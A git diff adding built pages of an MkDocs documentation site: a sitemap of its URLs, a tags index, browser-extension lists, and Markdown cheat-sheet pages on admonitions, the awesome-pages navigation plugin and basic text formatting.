      "}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 000000000..d96b03938 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,688 @@ + + + + https://3os.org/ + 2023-11-26 + daily + + + https://3os.org/blog/ + 2023-11-26 + daily + + + https://3os.org/tags/ + 2023-11-26 + daily + + + https://3os.org/android/adb-cheat-sheet/ + 2023-11-26 + daily + + + https://3os.org/android/apktool/ + 2023-11-26 + daily + + + https://3os.org/android/applications/ + 2023-11-26 + daily + + + https://3os.org/android/jadx-decompiler/ + 2023-11-26 + daily + + + https://3os.org/android/mobsf/ + 2023-11-26 + daily + + + https://3os.org/android/ssl-pinning-bypass/ + 2023-11-26 + daily + + + https://3os.org/automation/ddns-cloudflare-bash/ + 2023-11-26 + daily + + + https://3os.org/automation/ddns-cloudflare-powershell/ + 2023-11-26 + daily + + + https://3os.org/automation/gmail-mark-archived-mail-as-read/ + 2023-11-26 + daily + + + https://3os.org/automation/pihole-cloudflare-dns-sync/ + 2023-11-26 + daily + + + https://3os.org/automation/syncthings/ + 2023-11-26 + daily + + + https://3os.org/automation/guides/better-terminal-experience/ + 2023-11-26 + daily + + + https://3os.org/automation/guides/pihole-doh/ + 2023-11-26 + daily + + + https://3os.org/development/node-npm/npm/ + 2023-11-26 + daily + + + https://3os.org/development/node-npm/pm2/ + 2023-11-26 + daily + + + https://3os.org/development/python/pip/ + 2023-11-26 + daily + + + https://3os.org/development/python/supervisor/ + 2023-11-26 + daily + + + https://3os.org/development/python/virtualenv/ + 2023-11-26 + daily + + + https://3os.org/development/ruby/ruby/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/common-docker-commands/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/docker-containers/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/docker-images/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/docker-install/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/docker-networks/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/docker-security/ + 2023-11-26 + daily + + + https://3os.org/devops/docker/watchtower/ + 2023-11-26 + daily + + + https://3os.org/devops/git/delete-commit-history/ + 2023-11-26 + daily + + + https://3os.org/devops/git/git-cli-cheat-sheet/ + 2023-11-26 + daily + + + https://3os.org/devops/git/git-submodules/ + 2023-11-26 + daily + + + https://3os.org/devops/git/github-cli/ + 2023-11-26 + daily + + + https://3os.org/homelab/devices/synology-nas/ + 2023-11-26 + daily + + + https://3os.org/information/affiliateDisclosure/ + 2023-11-26 + daily + + + https://3os.org/information/cookies-policy/ + 2023-11-26 + daily + + + https://3os.org/information/endorsement/ + 2023-11-26 + daily + + + https://3os.org/information/license/ + 2023-11-26 + daily + + + https://3os.org/information/portfolio/ + 2023-11-26 + daily + + + https://3os.org/information/privacy-policy/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/openwrt/disable-ipv6/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/openwrt/install-oh-my-zsh/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/openwrt/snippets/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/cloud-image-template/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/lets-encrypt-cloudflare/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/pvekclean/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/vm-disk-expander/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/windows-vm-configuration/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/gpu-passthrough/igpu-split-passthrough/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/network/disable-ipv6/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/proxmox/network/proxmox-networking/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/synology/Install-oh-my-zsh/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/synology/Installing-vm-tools-on-virtual-machine/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/synology/auto-dsm-config-backup/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/synology/disable-dms-listening-on-80-443-ports/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/synology/enable-ssh-root-login/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/synology/ssh-with-rsa-key/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/edge-router/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/cli-commands/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/ + 2023-11-26 + daily + + + https://3os.org/infrastructure/vmware/vmware-fusion/ + 2023-11-26 + daily + + + https://3os.org/linux/files-handling/ + 2023-11-26 + daily + + + https://3os.org/linux/general-snippets/ + 2023-11-26 + daily + + + https://3os.org/linux/locales-time-zone/ + 2023-11-26 + daily + + + https://3os.org/linux/lvm-partitions/ + 2023-11-26 + daily + + + https://3os.org/linux/memory-swap/ + 2023-11-26 + daily + + + https://3os.org/linux/services-and-daemons/ + 2023-11-26 + daily + + + https://3os.org/linux/smb-mount-autofs/ + 2023-11-26 + daily + + + https://3os.org/linux/ssh-hardening-with-rsa-keys/ + 2023-11-26 + daily + + + https://3os.org/linux/Network/identify-nics/ + 2023-11-26 + daily + + + https://3os.org/linux/ubuntu-debian/disable-ipv6/ + 2023-11-26 + daily + + + https://3os.org/linux/ubuntu-debian/free-port-53/ + 2023-11-26 + daily + + + https://3os.org/linux/ubuntu-debian/remove-snap-store/ + 2023-11-26 + daily + + + https://3os.org/linux/ubuntu-debian/unattended-upgrades/ + 2023-11-26 + daily + + + https://3os.org/mac-os/applications-tweaks/ + 2023-11-26 + daily + + + https://3os.org/mac-os/enable-root-user/ + 2023-11-26 + daily + + + https://3os.org/mac-os/import-ssh-keys-keychain/ + 2023-11-26 + daily + + + https://3os.org/mac-os/terminal-snippets/ + 2023-11-26 + daily + + + https://3os.org/mac-os/touch-id-for-sudo/ + 2023-11-26 + daily + + + https://3os.org/mac-os/ui-tweaks/ + 2023-11-26 + daily + + + https://3os.org/mac-os/homebrew/brewup/ + 2023-11-26 + daily + + + https://3os.org/mac-os/homebrew/homebrew-snippets/ + 2023-11-26 + daily + + + https://3os.org/mac-os/python/pyenv-virtualenv/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/cheatsheets/cli-commands-collation/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/cheatsheets/gobuster-cheatsheet/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/cheatsheets/nmap-cheatsheet/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/cheatsheets/xss-cheatsheet/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/kali-linux/bettercap1.6.2/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/kali-linux/kali-linux/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/kali-linux/links/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/kali-linux/metasploit/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/kali-linux/wifite/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/proxmark/about-proxmark/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/proxmark/cheatsheet/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/proxmark/mifare-tags/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/utilities/clickjacking/ + 2023-11-26 + daily + + + https://3os.org/penetration-testing/utilities/idd-generator/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/docker-raspberrypi/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/external-power-button/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/motion-sensor-display-control/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/snippets/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/guides/3g-modem-host/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/projects/magic-mirror-v2/ + 2023-11-26 + daily + + + https://3os.org/raspberry-pi/projects/magic-mirror/ + 2023-11-26 + daily + + + https://3os.org/utilities/htpasswd-generator/ + 2023-11-26 + daily + + + https://3os.org/utilities/useful-links-tools/ + 2023-11-26 + daily + + + https://3os.org/utilities/wifiQrGenerator/ + 2023-11-26 + daily + + + https://3os.org/utilities/browsers-extensions/chrome/ + 2023-11-26 + daily + + + https://3os.org/utilities/browsers-extensions/firefox/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/about/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/admonition/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/awesome-pages/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/basic-formatting/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/code-blocks/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/content-tabs/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/diagrams/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/external-markdown/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/icons/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/images/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/links/ + 2023-11-26 + daily + + + https://3os.org/utilities/markdown-cheatsheet/tables-lists-quotes/ + 2023-11-26 + daily + + + https://3os.org/windows/ssh-server/ + 2023-11-26 + daily + + + https://3os.org/windows/useful-software/ + 2023-11-26 + daily + + + https://3os.org/windows/windows-servers/ + 2023-11-26 + daily + + + https://3os.org/windows/windows-ssh-agent-with-keys/ + 2023-11-26 + daily + + + https://3os.org/windows/windows-tweaks/ + 2023-11-26 + daily + + + https://3os.org/windows/guides/declare-locations/ + 2023-11-26 + daily + + + https://3os.org/windows/guides/email-from-task-scheduler/ + 2023-11-26 + daily + + + https://3os.org/tags/ + 2023-11-26 + daily + + \ No newline at end of file diff --git a/sitemap.xml.gz b/sitemap.xml.gz new file mode 100644 index 000000000..214809eb5 Binary files /dev/null and b/sitemap.xml.gz differ diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 000000000..490641ac0 --- /dev/null +++ b/tags/index.html @@ -0,0 +1,143 @@ + Tags and Categories - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-20 | Last update: 2022-03-18

      Tags and Categories

      3g-modem

      Cookies

      Git

      HomeLab

      IID

      NAS

      OpenSSH

      Proxmox

      SSH

      Security

      Synology

      Tweeks

      Ubuntu

      VirtIO

      Windows

      Windows Virtual Machines

      Windwos

      adb

      admonition

      affiliate

      android

      apktool

      application

      autofs

      automation

      bash

      cheat-sheet

      cheatsheet

      chrome

      cli

      clickjacking

      cloudflare

      code-blocks

      collation

      commands

      container

      content-tabs

      ddns

      debian

      decompiler

      diagram

      dns

      dns-over-https

      docker

      docker-compose

      doh

      dsm

      ed25519

      edgerouter

      emojis

      endorsements

      extensions

      external-markdown

      files-handling

      firefox

      frida

      gem

      git

      github

      gpu

      headings

      history

      homebrew

      horizontal-line

      htpasswd

      iTerm2

      icons

      igpu

      images

      information

      ipv6

      java

      kali

      kali-linux

      letsencrypt

      license

      linux

      lists

      locales

      lvm

      macOS

      maco

      macos

      magic-mirror

      magicmirror

      markdown

      markdown-cheatsheet

      mermaid

      metasploit

      mkdocs

      motion-sensor

      mount

      network

      node

      npm

      oh-my-zsh

      package-manager

      passthrough

      penetration-testing

      pi-hole

      pip

      pm2

      portfolio

      ports

      powershell

      privacy policy

      process-manager

      processes-manager

      proxmox

      pt

      python

      quotes

      raspberry-pi

      resume

      reverse-engineering

      rfid

      rsa

      rsa-keys

      ruby

      security

      servers

      share

      smb

      snippets

      ssh

      ssh-server

      ssl-pinning

      submodules

      supervisor

      syncthing

      synology

      tables

      template

      terminal

      text-highlighting

      timezone

      tools

      touchID

      ubiquiti

      ubuntu

      udm

      unifi

      utilities

      venv

      vgpu

      virtualization

      vmware

      vmware-fusion

      watchtower

      wifi

      windows

      wireguard

      zsh

      \ No newline at end of file diff --git a/utilities/browsers-extensions/chrome/index.html b/utilities/browsers-extensions/chrome/index.html new file mode 100644 index 000000000..b2d5f5ac0 --- /dev/null +++ b/utilities/browsers-extensions/chrome/index.html @@ -0,0 +1,167 @@ + Chrome Extensions - 3os

      Support us

      Authors: fire1ce, Adriaan Molendijk | Created: 2022-03-24 | Last update: 2022-08-12

      Chrome Extensions

      List of extensions for Chrome browser.

      Chrome Extensions Description
      1Password Password Manager (Desktop App Required)
      Clear Browsing Data Clear Browsing Data
      HTTPS Everywhere Automatically use HTTPS
      Pushbullet Connectivity App
      uBlock Origin Ad Block
      EditThisCookie Edit cookie per page
      Wappalyzer Uncovers the technologies used on websites
      IP Address and Domain Information Find detailed information about each IP address
      JSON viewer Pretty print / display JSON content in the browser

      Comments

      \ No newline at end of file diff --git a/utilities/browsers-extensions/firefox/index.html b/utilities/browsers-extensions/firefox/index.html new file mode 100644 index 000000000..1d433ef2f --- /dev/null +++ b/utilities/browsers-extensions/firefox/index.html @@ -0,0 +1,167 @@ + Firefox Extensions - 3os

      Support us

      Authors: fire1ce | Created: 2022-03-24 | Last update: 2022-04-17

      Firefox Extensions

      List of extensions for Firefox browser.

      Firefox Extensions Description
      FoxyProxy Proxy Management
      Wappalyzer Identifies software on websites
      Clear Browsing Data Delete browsing data
      1Password Password Manager

      Comments

      \ No newline at end of file diff --git a/utilities/htpasswd-generator/index.html b/utilities/htpasswd-generator/index.html new file mode 100644 index 000000000..cd6b8a8d5 --- /dev/null +++ b/utilities/htpasswd-generator/index.html @@ -0,0 +1,167 @@ + htpasswd Password Generator - 3os

      Support us

      Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-05

      htpasswd Password Generator

      This htpasswd password encryption applet is written in JavaScript, so the entire process runs within your browser.Nothing is transmitted to any server, we take your privacy and securityserious.

      Credit & Sources

      The code was built by macminiosx and cloned from his repository.
      It was slightly modified to fit this website.

      Comments

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/about/index.html b/utilities/markdown-cheatsheet/about/index.html new file mode 100644 index 000000000..66ce24bb0 --- /dev/null +++ b/utilities/markdown-cheatsheet/about/index.html @@ -0,0 +1,143 @@ + About Markdown - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-20 | Last update: 2022-08-05

      About Markdown

      Markdown is a lightweight markup language with plain text formatting syntax. It is designed so that it can be converted to HTML and many other formats using a tool by the same name. Markdown is often used to format readme files, for writing messages in online discussion forums, and to create rich text using a plain text editor. As the initial description of Markdown contained ambiguities and unanswered questions, many implementations and extensions of Markdown appeared over the years to answer these issues.

      đŸ“˜ This Page is fully written with Markdown Language and converted to HTML

      Material for MkDocs Markdown

      This website is built with MkDocs. MkDocs is a static site generator that can be used to generate websites with a clean and simple user interface. It is a free and open source project.

      Warning

      Most of the advanced features used to generate this website and the Markdown syntax used from Material Theme for MkDocs and may not apply to other websites.

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/admonition/index.html b/utilities/markdown-cheatsheet/admonition/index.html new file mode 100644 index 000000000..587e3082a --- /dev/null +++ b/utilities/markdown-cheatsheet/admonition/index.html @@ -0,0 +1,168 @@ + Admonitions - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-20 | Last update: 2022-04-03

      Markdown Admonitions

      Admonitions, also known as call-outs, are an excellent choice for including side content without significantly interrupting the document flow. Material for MkDocs provides several different types of admonitions and allows for the inclusion and nesting of arbitrary content.

      Usage

      Admonitions follow a simple syntax: a block starts with !!!, followed by a single keyword used as a [type qualifier]. The content of the block follows on the next line, indented by four spaces:

      Admonition
      !!! note
      +
      +    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod
      +    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor
      +    massa, nec semper lorem quam in massa.
      +

      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.


      Changing The Title

      By default, the title will equal the type qualifier in titlecase. However, it can be changed by adding a quoted string containing valid Markdown (including links, formatting, ...) after the type qualifier:

      Admonition with custom title
      !!! note "Phasellus posuere in sem ut cursus"
      +
      +    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod
      +    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor
      +    massa, nec semper lorem quam in massa.
      +

      Phasellus posuere in sem ut cursus

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.


      Removing The Title

      Similar to [changing the title], the icon and title can be omitted entirely by adding an empty string directly after the type qualifier. Note that this will not work for [collapsible blocks]:

      Admonition without title
      !!! note ""
      +
      +    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod
      +    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor
      +    massa, nec semper lorem quam in massa.
      +

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.


      Collapsible Blocks

      When [Details] is enabled and an admonition block is started with ??? instead of !!!, the admonition is rendered as a collapsible block with a small toggle on the right side:

      Admonition, collapsible
      ??? note
      +
      +    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod
      +    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor
      +    massa, nec semper lorem quam in massa.
      +
      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      Adding a + after the ??? token renders the block expanded:

      Admonition, collapsible and initially expanded
      ???+ note
      +
      +    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod
      +    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor
      +    massa, nec semper lorem quam in massa.
      +
      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.


      Supported Types

      Following is a list of type qualifiers provided by Material for MkDocs, whereas the default type, and thus fallback for unknown type qualifiers, is note:

      note

      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      abstract, summary, tldr

      Abstract

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      info, todo

      Info

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      tip, hint, important

      Tip

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      success, check, done

      Success

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      question, help, faq

      Question

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      warning, caution, attention

      Warning

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      failure, fail, missing

      Failure

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      danger, error

      Danger

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      bug

      Bug

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      example

      Example

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      quote, cite

      Quote

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/awesome-pages/index.html b/utilities/markdown-cheatsheet/awesome-pages/index.html new file mode 100644 index 000000000..e0138226f --- /dev/null +++ b/utilities/markdown-cheatsheet/awesome-pages/index.html @@ -0,0 +1,265 @@ + Awesome Pages Plugin - 3os
      Authors: fire1ce | Created: 2022-03-24 | Last update: 2022-04-03

      Mkdocs Awesome Pages Plugin

      An MkDocs plugin that simplifies configuring page titles and their order

      The awesome-pages plugin allows you to customize how your pages show up the navigation of your MkDocs without having to configure the full structure in your mkdocs.yml. It gives you detailed control using a small configuration file directly placed in the relevant directory of your documentation. MkDocs Awesome Pages Plugin Github Repository

      Features

      Customize Navigation

      Create a file named .pages in a directory and use the nav attribute to customize the navigation on that level. List the files and subdirectories in the order that they should appear in the navigation.

      nav:
      +    - subdirectory
      +    - page1.md
      +    - page2.md
      +

      Rest

      Pages or sections that are not mentioned in the list will not appear in the navigation. However, you may include a ... entry to specify where all remaining items should be inserted.

      nav:
      +    - introduction.md
      +    - ...
      +    - summary.md
      +

      Furthermore, it is possible to filter the remaining items using glob patterns or regular expressions. For example to match only the Markdown files starting with introduction-.

      nav:
      +    - ... | introduction-*.md
      +    - ...
      +    - summary.md
      +

      Note: The pattern is checked against the basename (folder- / filename) of remaining items - not their whole path.

      For more details refer to the Rest Filter Patterns section below.

      Titles

      You can optionally specify a title for the navigation entry.

      nav:
      +    - ...
      +    - First page: page1.md
      +

      Note: Specifying a title for a directory containing a .pages file that defines a title has no effect.

      You can also use the nav attribute to add additional links to the navigation.

      nav:
      +    - ...
      +    - Link Title: https://lukasgeiter.com
      +

      Sections

      You can group items by creating new sections.

      nav:
      +    - introduction.md
      +    - Section 1:
      +        - page1.md
      +        - page2.md
      +    - Section 2:
      +        - ...
      +

      Change Sort Order

      Create a file named .pages in a directory and set the order attribute to asc or desc to change the order of navigation items.

      order: desc
      +

      Note: Unlike the default order, this does not distinguish between files and directories. Therefore pages and sections might get mixed.

      Natural Sort Type

      Create a file named .pages in a directory and set the sort_type attribute to natural to use natural sort order.

      This can be combined with order above.

      sort_type: natural
      +

      Order Navigation By Preference

      Create a file named .pages in a directory and set the order_by attribute to filename or title to change the order of navigation items.

      order_by: title
      +

      This can be combined with order and/or sort_type above. If order is not set it will order ascending. If no preference is set, it will order by filename.

      Collapse Single Nested Pages

      Note: This feature is disabled by default. More on how to use it below

      If you have directories that only contain a single page, awesome-pages can "collapse" them, so the folder doesn't show up in the navigation.

      For example if you have the following file structure:

      docs/
      +├─ section1/
      +│  ├─ img/
      +│  │  ├─ image1.png
      +│  │  └─ image2.png
      +│  └─ index.md # Section 1
      +└─ section2/
      +   └─ index.md # Section 2
      +

      The pages will appear in your navigation at the root level:

      • Section 1
      • Section 2

      Instead of how MkDocs would display them by default:

      • Section 1
      • Index
      • Section 2
      • Index

      For all pages

      Collapsing can be enabled globally using the collapse_single_pages option in mkdocs.yml

      For a sub-section

      If you only want to collapse certain pages, create a file called .pages in the directory and set collapse_single_pages to true:

      collapse_single_pages: true
      +

      You may also enable collapsing globally using the plugin option and then use the .pages file to prevent certain sub-sections from being collapsed by setting collapse_single_pages to false.

      Note: This feature works recursively. That means it will also collapse multiple levels of single pages.

      For a single page

      If you want to enable or disable collapsing of a single page, without applying the setting recursively, create a file called .pages in the directory and set collapse to true or false:

      collapse: true
      +

      Hide Directory

      Create a file named .pages in a directory and set the hide attribute to true to hide the directory, including all sub-pages and sub-sections, from the navigation:

      hide: true
      +

      Note: This option only hides the section from the navigation. It will still be included in the build and can be accessed under its URL.

      Set Directory Title

      Create a file named .pages in a directory and set the title to override the title of that directory in the navigation:

      title: Page Title
      +

      Arrange Pages

      Deprecated: arrange will be removed in the next major release - Use nav instead.

      Create a file named .pages in a directory and set the arrange attribute to change the order of how child pages appear in the navigation. This works for actual pages as well as subdirectories.

      title: Page Title
      +arrange:
      +    - page1.md
      +    - page2.md
      +    - subdirectory
      +

      If you only specify some pages, they will be positioned at the beginning, followed by the other pages in their original order.

      You may also include a ... entry at some position to specify where the rest of the pages should be inserted:

      arrange:
      +    - introduction.md
      +    - ...
      +    - summary.md
      +

      In this example introduction.md is positioned at the beginning, summary.md at the end, and any other pages in between.

      Combine Custom Navigation & File Structure

      MkDocs gives you two ways to define the structure of your navigation. Either create a custom navigation manually in mkdocs.yml or use the file structure to generate the navigation. This feature makes it possible to combine both methods. Allowing you to manually define parts of your navigation without having to list all files.

      Note: You can freely combine this with all the other features of this plugin. However they will only affect the part of the navigation that is not defined manually.

      Use the nav entry in mkdocs.yml to define the custom part of your navigation. Include a ... entry where you want the navigation tree of all remaining pages to be inserted.

      The following examples are based on this file structure:

      docs/
      +├─ introduction.md
      +├─ page1.md
      +├─ page2.md
      +└─ folder/
      +   ├─ introduction.md
      +   ├─ page3.md
      +   └─ page4.md
      +

      If you wanted introduction.md, page1.md and page2.md to appear under their own section you could do this:

      nav:
      +    - Start:
      +        - page1.md
      +        - page2.md
      +        - summary.md
      +    - ...
      +

      Which would result in the following navigation:

      • Start
      • Introduction
      • Page 1
      • Page 2
      • Folder
      • Introduction
      • Page 3
      • Page 4

      The ... entry can also be placed at a deeper level:

      nav:
      +    - page1.md
      +    - Rest:
      +        - ...
      +

      Which would result in the following navigation:

      • Page 1
      • Rest
      • Introduction
      • Page 2
      • Folder
        • Introduction
        • Page 3
        • Page 4

      Furthermore, it is possible to filter the remaining items using glob patterns or regular expressions. For example to match only files named introduction.md.

      nav:
      +    - Introductions:
      +        - ... | **/introduction.md
      +    - ...
      +

      With the following result:

      • Introductions
        • Introduction
        • Introduction
      • Page 1
      • Page 2
      • Folder
        • Page 3
        • Page 4

      Note: The pattern is checked against the path relative to the docs directory.

      For more details refer to the Rest Filter Patterns section below.

      By default, remaining items keep their hierarchical structure. You may add flat to flatten all the matching pages:

      nav:
      +    - page1.md
      +    - Rest:
      +        - ... | flat | **/introduction.md
      +        - ... | flat
      +
      • Page 1
      • Rest
        • Introduction
        • Introduction
        • Page 2
        • Page 3
        • Page 4


      Rest Filter Patterns

      In all places where the rest entry (...) is allowed, you can also include a glob pattern or regular expression to filter the items to be displayed.

      nav:
      +    - ... | page-*.md
      +    - ... | regex=page-[0-9]+.md
      +

      The filter only operates on remaining items. This means it will not include items that are explicitly listed in the navigation or items that are matched by another filter that appears earlier in the configuration.

      You may also include a rest entry without filter to act as a catch-all, inserting everything that is not matched by a filter.

      Syntax Details

      Unless the filter starts with regex= it is interpreted as glob pattern, however you may also explicitly say so using glob=. The spaces around ... are optional but recommended for readability.

      Note: Depending on the characters in your filter, you might also need to use quotes around the whole entry.

      nav:
      +    # equivalent glob entries
      +    - ... | page-*.md
      +    - ... | glob=page-*.md
      +    - ...|page-*.md
      +    - '... | page-*.md'
      +
      +    # equivalent regex entries
      +    - ... | regex=page-[0-9]+.md
      +    - ...|regex=page-[0-9]+.md
      +    - '... | regex=page-[0-9]+.md'
      +


      Options

      You may customize the plugin by passing options in mkdocs.yml:

      plugins:
      +    - awesome-pages:
      +        filename: .index
      +        collapse_single_pages: true
      +        strict: false
      +        order: asc
      +        sort_type: natural
      +        order_by: title
      +

      filename

      Name of the file used to configure pages of a directory. Default is .pages

      collapse_single_pages

      Enable the collapsing of single nested pages. Default is false

      strict

      Raise errors instead of warnings when:

      • arrange entries cannot be found
      • nav entries cannot be found

      Default is true

      order, sort_type and order_by

      Global fallback values for the Meta attributes. Default is None or filename.


      Comments

      \ No newline at end of file diff --git a/utilities/markdown-cheatsheet/basic-formatting/index.html b/utilities/markdown-cheatsheet/basic-formatting/index.html new file mode 100644 index 000000000..358e5b065 --- /dev/null +++ b/utilities/markdown-cheatsheet/basic-formatting/index.html @@ -0,0 +1,162 @@ + Basic Formatting - 3os

      Support us

      Authors: fire1ce | Created: 2022-02-26 | Last update: 2022-04-03

      Markdown Basic Formatting

      Text Styling

      Markdown makes it easy to format messages. Type a message as you normally would, then use these the following formatting syntax to render the message a specific way

      Markdown Syntax Result
      **bold** bold
      _italic_ italic
      ==highlight== highlight
      ~~strike through~~ strike through
      ^^underline^^ underline
